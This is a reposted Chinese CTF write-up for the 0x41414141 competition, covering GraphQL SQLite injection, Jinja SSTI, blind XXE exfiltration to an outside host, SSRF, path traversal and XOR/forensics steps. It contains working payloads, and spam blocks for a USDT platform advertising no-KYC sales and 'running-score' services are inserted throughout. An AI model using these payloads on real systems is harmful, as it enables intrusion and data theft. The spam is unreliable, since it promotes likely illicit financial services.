欢迎访问本站!

首页科技正文

usdt充币教程(www.6allbet.com):0x41414141CTF web&一道forensics writeups

admin2021-02-2336安全技术CTF

USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

Background

打了一周左右的0x41414141 ,这个竞赛的web照样有一些值得纪录的点,以是写篇纪录来纪录一下

graphed 2.0

海内对graphql的考点照样比较少的,据我所知道的只有unctf2019,这道问题对于问题的设计和解题方案会让你以为还蛮有趣的


一开始看到这个提交条记的点,我直接实验一下发现不行,viewsource一下

他给出了graphql查询的接口
由于我一直知道graphql 有个注入的洞,以是那时满脑子想的都是怎么注入拿数据了,效果没什么收益,以是我直接通过谁人查询接口列出一些数据


甚至在coolNotes内里发现了 flag,厥后发现是个fake


然则若是你足够敏锐的话,可以看到getNote 有个q参数。以是我决议提交个空参数来试一下

query{
  getNote(q: "'"){
    uuid
    title
    body
    authorId
    id
  }
}

效果我收到了返回值

{
  "errors": [
    {
      "message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT * FROM NOTES where uuid=''']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "getNote"
      ]
    }
  ],
  "data": {
    "getNote": null
  }
}

很明显了,在这个参数内里居然是一个sqlite注入,而且这个错误能告诉我们很多多少器械了,好比,这是一个sqlite数据库,有个表名是Note uuid是其中一个列,剩下的就是通例的注入了

通例payload步骤

{getNote(q:"'UNION SELECT,tbl_name,3,4 FROM sqlite_master WHERE type%3d'table'--"){body,title}

表名是'\u0627\u0644\u0639\u0644\u0645',赛后发现居然真的有师傅解了233

query {getNote(q: "' UNION SELECT 1, flag,3, 4 FROM '\u0627\u0644\u0639\u0644\u0645'--"){body,title}

Flag found! flag{h0p3_u_can't_r3@d_1t9176}

推荐阅读:https://book.hacktricks.xyz/pentesting/pentesting-web/graphql

推荐旁观:https://www.youtube.com/watch?v=ZQL7tL2S0oQ

maze

实验一些口令上岸没有效果,于是征采一下信息,发现有/robots.txt

/sup3rsecr37@p1

接见这个路由


直接给了一个graphql界面,先看一下也许 ,password在那里


然后就是直接实验读取这个password,那时我就以为好新鲜,username和password不在一起

厥后怎么也登录不上去,于是实验在password四周读一下其他器械


然后我就用title,password乐成上岸了,服了

打开就三个交互页面,而且另有/admin,估量我们要进入他了


很自然而然的又想到了是sql注入啦

经由测试照样sqlite


以是我们照常注入即可

账号密码

admin/p0To3zTQuvFDzjhO9

进入发现是个动画界面

直接看下cookies


发现name内里也有skid,想到可能是ssti

实验{{1+1}}

果然是这样

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr' %}{{ [].__class__.__base__.__subclasses__().index(c) }}{% endif %}{% endfor %}
先用这个方式探测可用类


获得147

然后就读flag就好

一道四字符下令执行的问题,厥后发现是五步,这个我一开始非预期了

ls发现当前有个core,直接cat就读到flag,厥后pop_eax和我说他修复了,让我再看看

那我就直接建立一个cat空文件

然后再传入 /f即可

flag{ju57_g0tt@_5pl1t_Em3012}

Special order

一道有意思的题,开头让注册登录,抓了半天包在这个修改页面发现一些有趣的事情


在customesize这里

把content-type头改xml,可以写入xml

那就直接思量xxe

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,


我们在服务器写一个
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &,x25; exfiltrate SYSTEM 'http://givemeflag.com/?x=%file;'>">
%eval;
%exfiltrate;
然后发送xxe请求即可

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://xxx/main.dtd">
%sp;
%param1;
]>
<root>
 <size>&exfil;</size>
 <color>red</color>
</root>

flag{i7_1s_n0t_s0_bl1nd3721}

firstapp


提醒no logged in

直接实验接见/login

随便输入一个账号上岸


发现了三个动态交互的页面,我查看了一下http头

发现这个


使用express写的,去找了些express的洞,然则这道题只有三个页面

而且照样id开头

再次实验sql注入没反应,我实验直接加个flag


something here,

那就是这个logo了

图片隐写我并不善于,以是我使用了在线工具

https://aperisolve.fr/


在steghide内里有个文件


看样子可以举行内网的文件探测或者读取

刚开始由于没审题,没有get到点,厥后一个师傅给了hint 这题要害点是

I tried to serve it as local file

内陆机械接见,127.0.0.1

内陆文件 get_file?file=

可能照样我英语欠好的缘故原由,错过了提醒信息

http://45.134.3.200:3000/get_url?url=http://127.0.0.1:3000/get_file?file=flag.txt

直接get flag

waffed


我发现当我实验举行选择coin的时刻

value的值

正好是base64加密后的coin名称

我们在js内里实验回溯这个函数

function switchCoin() {
    window.location = "/changeFeed/" + document.getElementById("coinlist").value
}

以是加密flag.txt通过不停试目录即可

若是不存在coin会存在woops
最终payload:../../../../../../../../flag.txt

0x414141

异常有趣的一道题

I think offshift promised to opensource some of their code

接见他们官方的文档


发现他删除了_pycache_directory

下载下来并举行反编译

uncompyle6 -o . script.cpython-38.pyc

代码如下

import base64
secret = 'https://google.com'
cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw']
cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]

一个简朴的reverse就好

result = [chr(int(base64.b64decode(i).decode())^65) for i in cipher2]
print(''.join(result))

获得一个链接 https://archive.is/oMl59.


下载获得的pdf文件无法打开

官方给出hint 文件和官方名有关系

将文件的每个字节和0x41举行异或,剧本如下

corrupted = open('smashing.pdf', 'rb')
data = corrupted.read()

new_file = open('unsmashed.pdf', 'wb')

new_file.write((''.join(chr(i ^ 0x41) for i in data)).encode('charmap'))

发现文件里并没有什么,想到可能内里有压缩包,我们用fcrackzip举行爆破


get flag

网友评论